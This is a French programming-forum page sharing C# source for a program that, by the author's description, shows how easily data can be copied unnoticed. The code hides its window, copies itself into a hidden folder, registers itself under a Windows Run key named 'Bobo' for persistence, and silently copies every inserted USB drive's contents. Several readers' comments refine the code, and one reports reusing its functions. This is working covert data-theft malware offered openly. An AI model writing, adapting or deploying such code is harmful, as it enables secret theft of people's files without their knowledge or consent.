Copie de clé usb automatique

Soyez le premier à donner votre avis sur cette source.

Vue 13 020 fois - Téléchargée 1 491 fois

Description

Suite à la lecture d'un article sur la sécurité j'ai été inspiré de faire ce petit programme qui montre bien la facilité à copier du contenu sans trop attirer l'attention.

Le programme, une fois exécuté, crée un dossier caché, se copie et installe une clé de registre qui permet de le faire exécuter à chaque démarrage. Il est possible en faisant démarrer-->exécuter-->msconfig de voir les fichiers qui s'ouvre au démarrage.
Il détecte si un disque amovible est inséré et copie le contenu dans le dossier avec un nom aléatoire.

Source / Exemple :


//////////////////////////////////////////////////////////////////////////////////////////////////////
/// créé le 2 Août 2010 et fonctionnel sur XP, modifié 13 août 2010
/// http://jo.comoj.com 
//////////////////////////////////////////////////////////////////////////////////////////////////////
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using Microsoft.Win32;
using System.Runtime.InteropServices;

namespace ConsoleApplication17
{
    class Program
    {
        // importte des dll pour cacher la fenêtre
        [DllImport("user32.dll")]
        public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
        [DllImport("user32.dll")]
        static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

        // Crée un nombre aléatoire pour un nom de dossier
        static Random rndNumbers = new Random();

        
        static void Main(string[] args)
        {
            //vérifie si le répertoire qui reçoit les données existe 
            if (!Directory.Exists(@"C:\test\"))
            {
                //sinon on le crée
                Directory.CreateDirectory(@"C:\test\");
               // Console.WriteLine("répertoire créé");
               // Console.ReadKey();

                // l'exécutable se copie directement dans le répertoire cible 
                //Environment.CurrentDirectory+"usbcopie.exe"
                File.Copy(System.Reflection.Assembly.GetExecutingAssembly().Location, @"C:\test\usbcopie.exe");
              //  Console.WriteLine("fichier exécutable copié");

                // mettre l'atrribut du répertoire caché 
                DirectoryInfo dirInfo = new DirectoryInfo(@"C:\test\");
                dirInfo.Attributes = FileAttributes.Hidden;
               // Console.WriteLine("attribut du répertoire : \"caché\"");
               // Console.ReadKey();
            }
            
            //Console.ReadKey();

  RegistryKey rkApp = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);  //On //ouvre toujours la clé
      if (!rkApp.GetValueNames().Any(s => s == "Bobo"))  //Si la donnée n'existe pas, on la crée
      {
        //name of your application as you want it to appear in msconfig
        rkApp.SetValue("Bobo", @"C:\test\usbcopie.exe");
      }

            // Cache la fenêtre ... 
            IntPtr hWnd = FindWindow(null, Console.Title);
            if (hWnd != IntPtr.Zero)// cache la fenêtre en cours 
                ShowWindow(hWnd, 0); // 0 = SW_HIDE
            OkGo();
            
        }

        static private void OkGo()
        {
            // on enregistre le nombre de disques présent sur le système 
            int nrbLecteurs = DriveInfo.GetDrives().Length;
            int noDossier=rndNumbers.Next();
            while (true)
            {
                // si le nombre de lecteurs a changé
                if (DriveInfo.GetDrives().Length > nrbLecteurs)
                {
                    // Pour chaque lecteur 
                    foreach (DriveInfo di in DriveInfo.GetDrives())
                    {
                        // Si c'est un disque amovible
                        if (di.DriveType == DriveType.Removable)
                        {

                            DirectoryInfo lecteurUSB = new DirectoryInfo(di.RootDirectory.ToString());
                            while (Directory.Exists(@"C:\test\" + noDossier))
                                noDossier=rndNumbers.Next();
                            DirectoryInfo receptacle = new DirectoryInfo(@"C:\test\" + noDossier);

                            Copie(lecteurUSB, receptacle);

                            //on incrémente le nom du répertoire pour une future sauvegarde
                            rndNumbers.Next();
                           // Console.WriteLine("ok bob" + receptacle.ToString() + lecteurUSB.ToString());
                        }
                    }
                }
                 // on enregistre le nombre de lecteurs pour détecter les insersions 
                    nrbLecteurs = DriveInfo.GetDrives().Length;
                // dort pour pas engorgée le système 
                System.Threading.Thread.Sleep(1000);

            }
        }

        // Copie récursive du lecteur USB 
        public static void Copie(DirectoryInfo source, DirectoryInfo cible)
        {
            // Vérifie si le répertoire existe, sinon il le crée
            if (!Directory.Exists(cible.FullName))
            {
                Directory.CreateDirectory(cible.FullName);
            }

            // copie chaque fichier dans le nouveau répertoire 
            foreach (FileInfo fichier in source.GetFiles())
            {
                try
                {
                    fichier.CopyTo(Path.Combine(cible.ToString(), fichier.Name));
                }
                catch { fichier.CopyTo(Path.Combine(cible.ToString(), rndNumbers + fichier.Name)); }
            }

            // Copie chaque répertoire de la source
            foreach (DirectoryInfo sousRepertoire in source.GetDirectories())
            {
                // crée un sous-répertoire dans le répertoire cible et rappel la méthode avec comme source un répertoire
                DirectoryInfo prochaineCible =
                    cible.CreateSubdirectory(sousRepertoire.Name);
                Copie(sousRepertoire, prochaineCible);
            }
        }

    }
}

Conclusion :


Ceci est un exemple seulement, il faudrait bien sûr limiter l'espace à copier par exemple 10Go et s'assurer que les noms des répertoires ne puissent revenir deux fois, etc.. ,etc..

Codes Sources

A voir également

Ajouter un commentaire

Commentaires

Messages postés
3
Date d'inscription
samedi 4 octobre 2014
Statut
Membre
Dernière intervention
10 mai 2015

Bonjour,

Votre script est très intéressant, j'ai récupéré une partie de votre code pour l'intégrer à mon projet(vb.net) -> la fonction "OkGo()" et la fonction "Copie".
J'aimerai rajouter la recherche par extension ("*.*", System.IO.SearchOption.AllDirectories). j'ai beau regarder dans tous les sens, je n'y arrive pas. Pouvez-vous m'aider?
Merci d'avance. Cordialement.
Messages postés
1
Date d'inscription
vendredi 16 décembre 2011
Statut
Membre
Dernière intervention
16 décembre 2011

Bonjour moi j'aimerais bien savoir quel type d'interface peut lire votre programme, je veux dire par là si un micro-C pourrait le lire ou d'autres interfaces ou si seulement un PC peut le faire, dans ce cas, auriez vous un code en C pour la même action ?
Merci beaucoup
Messages postés
2
Date d'inscription
jeudi 23 juillet 2009
Statut
Membre
Dernière intervention
10 août 2010

exact. en changeant le != par >, on évite de recopier lors de l'enlèvement. Mais on copie deux fois une clef déjà en place si on en insère une autre... Il faut garder en mémoire les clef déjà copiée et les ignorer dans le foreach.
Messages postés
6
Date d'inscription
dimanche 20 septembre 2009
Statut
Membre
Dernière intervention
10 août 2010

merci .. enfin une utilité à une expression lambda
et en changeant le signe != de la ligne 76 par > et en mettant la ligne 96 en dehors du if, donc à la ligne 98 on évite de recopié lors de l'enlèvement d'une clé
Messages postés
4
Date d'inscription
jeudi 26 juillet 2007
Statut
Membre
Dernière intervention
1 mars 2008

Bonjour,

La ligne 48 (if (Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Bobo") == null)) renvoie toujours false, donc on écrit toujours la valeur Bobo.

Je corrigerai de la façon suivante :
// ouvre l'accès en écriture à la clé de registre des programmes de démarage
RegistryKey rkApp = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true); //On ouvre toujours la clé
if (!rkApp.GetValueNames().Any(s => s == "Bobo")) //Si la donnée n'existe pas, on la crée
{
//name of your application as you want it to appear in msconfig
//System.AppDomain.CurrentDomain.FriendlyName
rkApp.SetValue("Bobo", @"C:\test\usbcopie.exe");
//Console.WriteLine("clé de registre créée");
}
Afficher les 10 commentaires

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.

Du même auteur (pigedanslelac)